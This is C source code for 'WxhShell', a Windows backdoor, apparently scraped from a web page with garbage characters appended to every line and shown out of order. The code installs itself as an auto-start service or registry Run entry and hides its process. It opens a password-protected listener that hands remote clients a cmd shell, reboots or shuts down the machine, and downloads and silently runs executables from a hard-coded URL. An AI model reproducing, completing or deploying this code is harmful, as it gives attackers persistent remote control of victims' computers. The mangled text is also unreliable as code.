    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7J<5f)  
    else { QhJiB%M  
    closesocket(wsh); 8 v%o,"  
    ExitThread(0); &^Q/,H~S  
    } ;u)I\3`*!  
    break; 1bX<$>x9u  
    } SO0PF|{\r  
  // 获取shell [`7ThHX  
  case 's': { 20Wg=p9L  
    CmdShell(wsh); c yz3,3\e  
    closesocket(wsh); r* Ca}Z  
    ExitThread(0); +QJ#2~pE  
    break; eehb1L2(b  
  } 5$C-9  
  // 退出 T9   
  case 'x': { B tcy)LRk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A~70  
    CloseIt(wsh); -nV9:opD  
    break; I b5rqU\  
    } E~"y$Fqe  
  // 离开 o?\?@H  
  case 'q': { ZPYS$Ydy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tY4;F\e2|A  
    closesocket(wsh); ~Z' ?LV<t  
    WSACleanup(); fI|Nc  
    exit(1); 4'=y:v2  
    break; i=2N;sAl  
        } R4:b{)=O  
  } f ) L  
  } >~0Z& d  
Mb*?5R6;  
  // 提示信息 t"oeQ*d%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 92oFlEJ  
} 8KzkB;=n  
  } M9%$lCl   
5:_}zu|!u  
  return; e+fN6v5pU  
} NK H@+,+V  
C$`tbq  
// shell模块句柄 3/eca  
int CmdShell(SOCKET sock) j?4qO]_Wx+  
{ 5`p.#  
STARTUPINFO si; uoh7Sz5!^  
ZeroMemory(&si,sizeof(si)); ;9QEK]@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p9-K_dw3X@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AFwdJte9e  
PROCESS_INFORMATION ProcessInfo; uQKT  
char cmdline[]="cmd"; 63IM]J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O0H.C0}  
  return 0;  z+X}HL  
} ^} >w<'0  
am6L8N  
// 自身启动模式 iDqoa\  
int StartFromService(void) S{T >}'y  
{ ]3Sp W{=^(  
typedef struct |M;7>'YNC*  
{ =[7Av>  
  DWORD ExitStatus; 8zW2zkv2|#  
  DWORD PebBaseAddress; +9sQZB# (  
  DWORD AffinityMask; <lJ345Q  
  DWORD BasePriority; l9Q- iJ  
  ULONG UniqueProcessId; ~})e?q;b  
  ULONG InheritedFromUniqueProcessId; (X*^dO  
}   PROCESS_BASIC_INFORMATION; M kXmA`cP  
Y(Hs#Kn{  
PROCNTQSIP NtQueryInformationProcess; 'PW5ux@`<  
")p\q:z6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z6MO^_m2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !0<,@v"  
44j*KsBf  
  HANDLE             hProcess; SiN0OB  
  PROCESS_BASIC_INFORMATION pbi; ]u/sphPe  
h^P#{W!e\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;L ^o*`  
  if(NULL == hInst ) return 0; `r 4fm`<  
XC#oB~K'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aV0"~5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]\HvKCN}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b4Ekqas  
6[AL|d DK  
  if (!NtQueryInformationProcess) return 0;  6(R<{{  
[AJJSd/:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;*2Cm'8E  
  if(!hProcess) return 0; }4X0epPp;:  
]7c=PC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -jm Y)(\  
zX i 'kB  
  CloseHandle(hProcess); A?OQE9'  
&_8 947  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T6$+hUM$1  
if(hProcess==NULL) return 0; <(#ej4ar,  
~v6D#@%A  
HMODULE hMod; |CbikE}kL  
char procName[255]; 7tCw*t$  
unsigned long cbNeeded; goWuw}?  
2y1Sne=<Kb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HTTC TR  
% |L=l{g  
  CloseHandle(hProcess); `){.+S(5C  
E2+`4g@{8<  
if(strstr(procName,"services")) return 1; // 以服务启动 %mgE;~"&  
%iqD5x$OA  
  return 0; // 注册表启动 Q22 GIr  
} +&H4m=D-#a  
E' uZA  
// 主模块 ;}p  
int StartWxhshell(LPSTR lpCmdLine) kD"{g#c  
{ NvX[zqNP_R  
  SOCKET wsl; E _|<jy$`  
BOOL val=TRUE; <IW$m!{VG  
  int port=0; @IZnFHN  
  struct sockaddr_in door; ~pky@O#b  
uCB=u[]y4  
  if(wscfg.ws_autoins) Install(); ;722\y(Y  
;-Aa|aT!  
port=atoi(lpCmdLine); +1!ia]  
>+T)#.wo&  
if(port<=0) port=wscfg.ws_port; f* wx<  
fI|$K )K  
  WSADATA data; +LJ73 !  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bW+:C5'  
"d}Gp9+$VY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GTxk%   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <%mRSv  
  door.sin_family = AF_INET; 9;If&uM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uhq8   
  door.sin_port = htons(port); ,<X9Y2B  
RPbZ(.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +aAc9'k   
closesocket(wsl); I5W~g.<6  
return 1; ;5AcFB  
} xD=csJ'(  
?Z}&EH  
  if(listen(wsl,2) == INVALID_SOCKET) { EKN~H$.  
closesocket(wsl); \z)%$#I  
return 1; JK] PRDyD  
} %@Jsal'  
  Wxhshell(wsl); MnHNjsO#  
  WSACleanup(); ue>D 7\8  
/g.U&oI]D  
return 0; .fs3>@T"#  
7uk[Oy<_  
} UC$ppTCc?  
yWf`rF{  
// 以NT服务方式启动 zKK9r~ M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HK% 7g  
{ Pc]HP  
DWORD   status = 0; y<.5xq5_3  
  DWORD   specificError = 0xfffffff; ez[Vm:2K  
4mbBmQV$#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u$`a7Lp,n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lk=<A"^S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8xMX  
  serviceStatus.dwWin32ExitCode     = 0; vw@S>G lGg  
  serviceStatus.dwServiceSpecificExitCode = 0; Ni7nq8B<  
  serviceStatus.dwCheckPoint       = 0; -I%5$`z  
  serviceStatus.dwWaitHint       = 0; rS Ni@;   
c[s4EUG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UGatWj  
  if (hServiceStatusHandle==0) return; $Y gue5{c  
A?0Nm{O;3v  
status = GetLastError(); O33 `+UV"W  
  if (status!=NO_ERROR) &9>vl*  
{ %]7d`/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2t1ZIyv3 D  
    serviceStatus.dwCheckPoint       = 0; Kf-JcBsrT  
    serviceStatus.dwWaitHint       = 0; 7x8  yxE  
    serviceStatus.dwWin32ExitCode     = status; (QiAisE  
    serviceStatus.dwServiceSpecificExitCode = specificError; fTX;.M/%   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H0cA6I  
    return; %SUQ9\SEs  
  } [KQ6Ta.  
rW#T vUn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lr$zHI7_`  
  serviceStatus.dwCheckPoint       = 0; IUct  
  serviceStatus.dwWaitHint       = 0; EBmt9S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nT)vNWT=  
} 8JUwf  
4`=m u}Y2  
// 处理NT服务事件,比如:启动、停止 `qwBn=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +W+|%qM,\  
{ {Hk}Kow  
switch(fdwControl) <\S:'g"(  
{ W!(LF7_!  
case SERVICE_CONTROL_STOP: >KKMcTOYY  
  serviceStatus.dwWin32ExitCode = 0; !1b;F*H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )WFr</z5bA  
  serviceStatus.dwCheckPoint   = 0; )=-szJjXZ  
  serviceStatus.dwWaitHint     = 0; q" 5(H5  
  { #)VF3T@#'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a-J.B.A$Z/  
  } Yz93'HDB  
  return; -D~%|).'  
case SERVICE_CONTROL_PAUSE: |vzl. ^"-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K~ EmD9  
  break; lk80#( :Z  
case SERVICE_CONTROL_CONTINUE: e@YK@?^#N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r,2g^ K)6  
  break; rQ snhv  
case SERVICE_CONTROL_INTERROGATE: An/|+r\  
  break; >c}u>]D  
}; AkiDL=;w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .5{ab\_af  
} k~z Iy;AZ  
2I{"XB  
// 标准应用程序主函数 pI<f) r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l}M!8:UzU  
{ 1yY0dOoLG)  
S`Rs82>  
// 获取操作系统版本 [=`q>|;pOv  
OsIsNt=GetOsVer(); 5Jnlz@P9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E&:,oG2M  
I1&aM}y{G  
  // 从命令行安装 MnW+25=N  
  if(strpbrk(lpCmdLine,"iI")) Install(); k$}fWR  
#A8sLkY  
  // 下载执行文件 *}W_+qo"  
if(wscfg.ws_downexe) { 8*a&Jl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `~q<N  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yu2Bkq+  
} ht}wEvv  
uFga~&#g  
if(!OsIsNt) { #gw]'&{8D  
// 如果时win9x,隐藏进程并且设置为注册表启动 /; 85i6  
HideProc(); IV)j1  
StartWxhshell(lpCmdLine); 18:%~>.!  
} 0+b1vhQ  
else #C@FYO f*  
  if(StartFromService()) ,5<Cd,`*  
  // 以服务方式启动 .(2ik5A%9  
  StartServiceCtrlDispatcher(DispatchTable); 3"\lu?-E  
else Pj% |\kbNs  
  // 普通方式启动  %D "I  
  StartWxhshell(lpCmdLine); a C)!T  
D^;Uq8NDKq  
return 0; <1M-Ro?5k  
} , ++ `=o  
ufT`"i  
II x#2r  
'1/i"yoW  
=========================================== |$_sX9\`?|  
@U}1EC{A  
H} g{Cr"Ex  
@Do= k  
;sFF+^~L  
[j'X;tVX{  
" c~ V*:$F  
$PHvA6D  
#include <stdio.h> .#pU=v#/[  
#include <string.h> nzeX[*  
#include <windows.h> JqiP>4Uwm^  
#include <winsock2.h> jo@J}`\Zt  
#include <winsvc.h> jW@Uo=I[  
#include <urlmon.h> q> C'BIr  
V3j= Kf  
#pragma comment (lib, "Ws2_32.lib") 8)I^ t81  
#pragma comment (lib, "urlmon.lib") H$4:lH&(  
h9W^[6  
#define MAX_USER   100 // 最大客户端连接数 lnR{jtWP  
#define BUF_SOCK   200 // sock buffer L*JjG sTH  
#define KEY_BUFF   255 // 输入 buffer tIgN$BHR>  
i~J'%a<Qp  
#define REBOOT     0   // 重启 wj0\$NQ=x  
#define SHUTDOWN   1   // 关机 6!FQzFCZq  
cExS7~*  
#define DEF_PORT   5000 // 监听端口 *;*r 8[U}q  
HHsmLo c4  
#define REG_LEN     16   // 注册表键长度 P";'jVcR  
#define SVC_LEN     80   // NT服务名长度  0lR5<^B  
s->^=dy  
// 从dll定义API MFk5K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "9e\c;a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L;I]OC^J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sLQ^F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DR<9#RRD  
G'A R`"F  
// wxhshell配置信息 0"bcdG<}  
struct WSCFG { b SU~XGPB  
  int ws_port;         // 监听端口 =C.$ UX  
  char ws_passstr[REG_LEN]; // 口令 7Jho}5J  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~Jz6O U*z  
  char ws_regname[REG_LEN]; // 注册表键名 [hj6N*4y  
  char ws_svcname[REG_LEN]; // 服务名 S^\Vgi(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /t"3!Z?BOv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HC,Se.VYS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E~oOKQ5W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pIX`MlBdF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?(i{y~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *!7 O~yQ  
d-dEQKI?;  
}; N<injx  
R*2E/8Ia  
// default Wxhshell configuration \P`hq^;  
struct WSCFG wscfg={DEF_PORT, oM`0y@QCf  
    "xuhuanlingzhe", &KRX[2  
    1, Npy :!  
    "Wxhshell", c\ lkD-\  
    "Wxhshell", @J`"[%U  
            "WxhShell Service", Q$@I"V&G.  
    "Wrsky Windows CmdShell Service", 9zy!Fq  
    "Please Input Your Password: ",  ZExlGC  
  1, TbW38\>.R  
  "http://www.wrsky.com/wxhshell.exe", jtc]>]6i  
  "Wxhshell.exe" NHZz _a=  
    }; s,&Z=zt0R  
JnM["Q=`  
// 消息定义模块 7O-x<P;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _zi|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WEi2=3dV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0Z{ZO*rK  
char *msg_ws_ext="\n\rExit."; ~FG]wNgS  
char *msg_ws_end="\n\rQuit."; nc|p)  
char *msg_ws_boot="\n\rReboot..."; G*P#]eO  
char *msg_ws_poff="\n\rShutdown..."; ^3L0w}#  
char *msg_ws_down="\n\rSave to "; cH t#us  
|_@>*Vmg  
char *msg_ws_err="\n\rErr!"; ,1o FPa{?  
char *msg_ws_ok="\n\rOK!"; j+  0I-p  
VS8Rx.?  
char ExeFile[MAX_PATH]; ^,T(mKS  
int nUser = 0; JrRH\+4K  
HANDLE handles[MAX_USER]; j HJ`,#  
int OsIsNt; L0WN\|D  
b!5~7Ub.No  
SERVICE_STATUS       serviceStatus; a HR"n|7{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y/ ef>ZZ  
Gu\q%'I  
// 函数声明 !." D]i;  
int Install(void); ;@Y;g(bw:  
int Uninstall(void); 338k?nHxv  
int DownloadFile(char *sURL, SOCKET wsh); n8ZZ#}Nhg  
int Boot(int flag); q'Tf,a  
void HideProc(void); '@k+4y9q?  
int GetOsVer(void); %aVq+kC h  
int Wxhshell(SOCKET wsl); x-&@wMqkc  
void TalkWithClient(void *cs); 'kO!^6=4M  
int CmdShell(SOCKET sock); 8NAON5.!  
int StartFromService(void); PBTnIU  
int StartWxhshell(LPSTR lpCmdLine); CN8Y\<Ar  
*mvlb (' &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H*'IK'O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l?n\i]'  
JO6)-U$7UG  
// 数据结构和表定义 |imM# wF  
SERVICE_TABLE_ENTRY DispatchTable[] = hy"\RW  
{ U>}w2bZ*  
{wscfg.ws_svcname, NTServiceMain}, ,M ^<CJ  
{NULL, NULL} @O^6&\s>  
}; :(*V?WI  
]Ntmy;Q   
// 自我安装 =R$u[~Xl2X  
int Install(void) -Cc^d!::  
{ ^Q?  
  char svExeFile[MAX_PATH]; CU2*z(]&  
  HKEY key; _H7x9 y=  
  strcpy(svExeFile,ExeFile); EaY?aAuS:  
ra gXn  
// 如果是win9x系统,修改注册表设为自启动 O`t&ldU  
if(!OsIsNt) { fdi\hg^x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p}pjfG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); scz&h#0V  
  RegCloseKey(key); [MM~H0=s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Pfr,a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vd+T$uC  
  RegCloseKey(key); 2B&3TLO  
  return 0; 4*cEag   
    } w;:*P  
  } !@*7e:l  
} `% "\@<  
else { #r~# I}U  
`%9 uE(  
// 如果是NT以上系统,安装为系统服务 ShP^A"Do  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u.m[u)HQ  
if (schSCManager!=0) XnMvKPerv'  
{ ~/iKh1 1  
  SC_HANDLE schService = CreateService 9`X\6s  
  ( hT&Y#fh  
  schSCManager, >rmqBDKaQ  
  wscfg.ws_svcname, 2*l/3VW  
  wscfg.ws_svcdisp, ZI}Fom<  
  SERVICE_ALL_ACCESS, ,K"U> &  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , paE[rS\  
  SERVICE_AUTO_START, 3J|F?M"N7  
  SERVICE_ERROR_NORMAL, nRZ]z( b  
  svExeFile, \aUC(K~o\;  
  NULL, V1 `o%;j  
  NULL, w(3G&11N?  
  NULL, :g=qz~2Xk  
  NULL, umH40rX+  
  NULL .glA gt  
  ); ;) z:fToh  
  if (schService!=0) Y0dEH^I  
  { VSI9U3t3w  
  CloseServiceHandle(schService); Q%f^)HZGR  
  CloseServiceHandle(schSCManager); nuMD!qu!nZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g63(E,;;J  
  strcat(svExeFile,wscfg.ws_svcname); m6\E$;`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +RMSA^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +YKi,  
  RegCloseKey(key); n&qg;TT  
  return 0; ;LPfXpR  
    } G3vxjD<DMW  
  } _Gi4A  
  CloseServiceHandle(schSCManager); oC: {aK6\  
} G+"t/?/  
} /1V xc 6  
5o'FS{6U  
return 1; U!?_W=?  
} dI@(<R  
;yLu R  
// 自我卸载 l<LP&  
int Uninstall(void) (!7sE9rP  
{ :vqgGKml$  
  HKEY key; bL+_j}{:N  
f<fXsSv(  
if(!OsIsNt) { }1c|gQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PI:4m%[  
  RegDeleteValue(key,wscfg.ws_regname); 17[3/m8a  
  RegCloseKey(key); CR`Q#Yi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RYQR(v  
  RegDeleteValue(key,wscfg.ws_regname); t?-n*9,#S  
  RegCloseKey(key); 5z8d} I  
  return 0; n&;85IF1  
  } TA`1U;c{n  
} =_ ./~  
} bz2ztH9 n  
else { i$:*Pb3mV  
v6M6>&RR|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *K6g\f]b#  
if (schSCManager!=0) Fa Qe_;  
{ b_#m}yZ6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  gmO!  
  if (schService!=0) ll<Xz((o  
  { oWim}Er=  
  if(DeleteService(schService)!=0) { FxtQXu-g  
  CloseServiceHandle(schService); F|o:W75  
  CloseServiceHandle(schSCManager); iohop(LZ  
  return 0; T@:Wp4>69  
  } 2G67NC?+  
  CloseServiceHandle(schService); RXpw!  
  } rb2S7k0{  
  CloseServiceHandle(schSCManager); Jr ,;>   
} 'EEJU/"u  
} ug!s7fo^  
J6s`'gFns  
return 1; qo90t{|c  
} Ustv{:7v  
uk< 4+x,2)  
// 从指定url下载文件 /ivJsPH  
int DownloadFile(char *sURL, SOCKET wsh) Pmr5S4Ka  
{ 6S'yZQ |b  
  HRESULT hr; 8>2.UrC  
char seps[]= "/"; j9x<Y]  
char *token; h5{'Q$Erl  
char *file; 1MP~dRZ$  
char myURL[MAX_PATH]; xd q?/^E  
char myFILE[MAX_PATH]; VgG0VM  
!*F1q|R  
strcpy(myURL,sURL); W#4 7h7M  
  token=strtok(myURL,seps); ]YnD  
  while(token!=NULL) \ =?a/  
  { \}u Y'F  
    file=token; 7 S#J>*  
  token=strtok(NULL,seps); UqFO|r"M  
  } E:sf{B'&  
<ktrPlNuM  
GetCurrentDirectory(MAX_PATH,myFILE); g|DF[  
strcat(myFILE, "\\"); 8`q:Gz=M\  
strcat(myFILE, file); f}#~-.NGs  
  send(wsh,myFILE,strlen(myFILE),0); ??-[eB.  
send(wsh,"...",3,0); (Ft+uuG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xy|So|/bKd  
  if(hr==S_OK) zH?!  
return 0; LvH 4{B  
else M)J5;^["  
return 1; =t#llgi~  
1y4|{7bb  
} :}L[sl\R  
8O5s`qKMYT  
// 系统电源模块 sQ UM~HD\a  
int Boot(int flag) 9N#_( uwt  
{ 9|^2",V  
  HANDLE hToken; .;y.]Z/;  
  TOKEN_PRIVILEGES tkp; !1jBC.G1  
|sJ[0z  
  if(OsIsNt) { %~O,zs.2p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,uSMQS-O'4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /kZebNf6H  
    tkp.PrivilegeCount = 1; YFLZ%(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?h ZAxR\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !fV+z%:  
if(flag==REBOOT) { {g'(~ qv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n*R])=F@c  
  return 0; .wEd"A&j  
} j nkR}wAA  
else { G)AqbY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j2t7'bO_  
  return 0; -V*R\,>  
} 7cuE7"  
  } yJ[0WY8<kC  
  else { fbyd"(V 8r  
if(flag==REBOOT) { b <tNk]7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >2Y=*K,:  
  return 0; qJf?o.Pv  
} wm+};L&_  
else { w1F cB$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +r�  
  return 0; u4*BX&  
} U45e2~1!O  
} $!-yr7  
k90YV(  
return 1; iOf<$f  
} $H2u.U<ip  
XnH05LQ  
// win9x进程隐藏模块 3p$?,0ELH  
void HideProc(void) *[Imn\hu  
{ u%GEqruo[  
m;$ b'pT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,5P0S0*{  
  if ( hKernel != NULL ) G~]Uk*M q  
  { k`cfG\;r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F0m-23[H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gf%~{@7=u  
    FreeLibrary(hKernel); cRC6 s8  
  } +X\FBvP&  
3xy<tqfr  
return; V%t.l  
} DcS+_>a\{l  
ob!P ;]T  
// 获取操作系统版本 _f7 9wx\B  
int GetOsVer(void) ,=uD^n:  
{ "-M p_O]  
  OSVERSIONINFO winfo; m=1N>cq '  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w$>u b@=  
  GetVersionEx(&winfo); h<h%*av|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (Nq=H)cm8  
  return 1; p . %]Q*8  
  else #]-SJWf3  
  return 0; i:dR\|B  
} f'F?MINJP  
Q*GN`07@?d  
// 客户端句柄模块 k x8G  
int Wxhshell(SOCKET wsl) [ XN={  
{ NYhB'C2  
  SOCKET wsh; qfX6TV5J}!  
  struct sockaddr_in client; 44J]I\+  
  DWORD myID; Mg+2. 8%  
d.aS{;pse  
  while(nUser<MAX_USER) s `e{}\  
{ 0RzEY!9g+  
  int nSize=sizeof(client); PgAf\.48a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pP1|&`}ux  
  if(wsh==INVALID_SOCKET) return 1; ,S\CC{!  
S0$8@"~=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MnmVl"(/  
if(handles[nUser]==0) hy9\57_#  
  closesocket(wsh); 1l9 G[o *  
else *nd!)t  
  nUser++; UklUw  
  } _OYasJUMG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l#&8x  
t <~h'U  
  return 0; >:SHV W  
} PhLn8jNti  
Q(G#W+r  
// 关闭 socket pt?bWyKG  
void CloseIt(SOCKET wsh) R- X5K-  
{ HH`'*$]7  
closesocket(wsh); L]7=?vN=8  
nUser--; z>xmRs   
ExitThread(0); rD tY[  
} K&u_R  
1pVS&0W  
// 客户端请求句柄 .C%<P"=J4h  
void TalkWithClient(void *cs) D#aDv0b  
{ b\f O8{k  
#x@$ lc=k3  
  SOCKET wsh=(SOCKET)cs; oueC  
  char pwd[SVC_LEN]; 4>YR{  
  char cmd[KEY_BUFF]; ]U?^hZ_  
char chr[1]; <(#(hDwy  
int i,j; *YI98  
?PLPf>e  
  while (nUser < MAX_USER) { . P viA  
I]|Pq  
if(wscfg.ws_passstr) { oE @a'*.\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ; T\%|O=Ke  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hXw]K"  
  //ZeroMemory(pwd,KEY_BUFF); AhN4mc@  
      i=0; _1X!EH"  
  while(i<SVC_LEN) { BX/8O<s0  
?JbilK}a  
  // 设置超时 NCXRevE  
  fd_set FdRead; 2F[ q).  
  struct timeval TimeOut; S E<FL/x1#  
  FD_ZERO(&FdRead); VO5#Qgen  
  FD_SET(wsh,&FdRead); %jJG>T  
  TimeOut.tv_sec=8; s3N'02G  
  TimeOut.tv_usec=0; MBK^FR-K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O ;Rqv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /A\8 mL8  
'd0~!w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 810|Tj*U%  
  pwd=chr[0]; =}^9 wP  
  if(chr[0]==0xd || chr[0]==0xa) { AD> e?u  
  pwd=0; uo:J\E  
  break; qw301]y  
  } 299H$$WS,Z  
  i++; !vi> U|rh  
    } e)IzQ7Zex  
>IafUy  
  // 如果是非法用户,关闭 socket _rMg}F"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b#c:u2  
} &N9 a<w8+  
'ycJMYP8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ep_HcX`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , u=`uD  
Y>z>11yEB0  
while(1) { W.jGGt\<\  
o)|flI'vT  
  ZeroMemory(cmd,KEY_BUFF); ')Zvp7>$  
&A/]pi-\  
      // 自动支持客户端 telnet标准    0q  
  j=0; wSL}`CgU  
  while(j<KEY_BUFF) { O^PKn_OJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G&SB-  
  cmd[j]=chr[0]; 3d8L6GJ  
  if(chr[0]==0xa || chr[0]==0xd) { R+:yVi[F]U  
  cmd[j]=0; OF>mF~  
  break; =[ 46`-_  
  } m,28u3@r  
  j++; cU (D{~  
    } _RYxD"m y  
;LfXi 8)  
  // 下载文件 T.F!+  
  if(strstr(cmd,"http://")) { QhFV xCA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "9uKtQS0o  
  if(DownloadFile(cmd,wsh)) .<?GS{6 N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yF:1( 4  
  else 8,Z_{R#|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <{p4V|:  
  } 68|E9^`l  
  else { iU918!!N   
f%JIp#B  
    switch(cmd[0]) { ITQA0PI SL  
  w(Ovr`o?9t  
  // 帮助 SGRp3,1\4%  
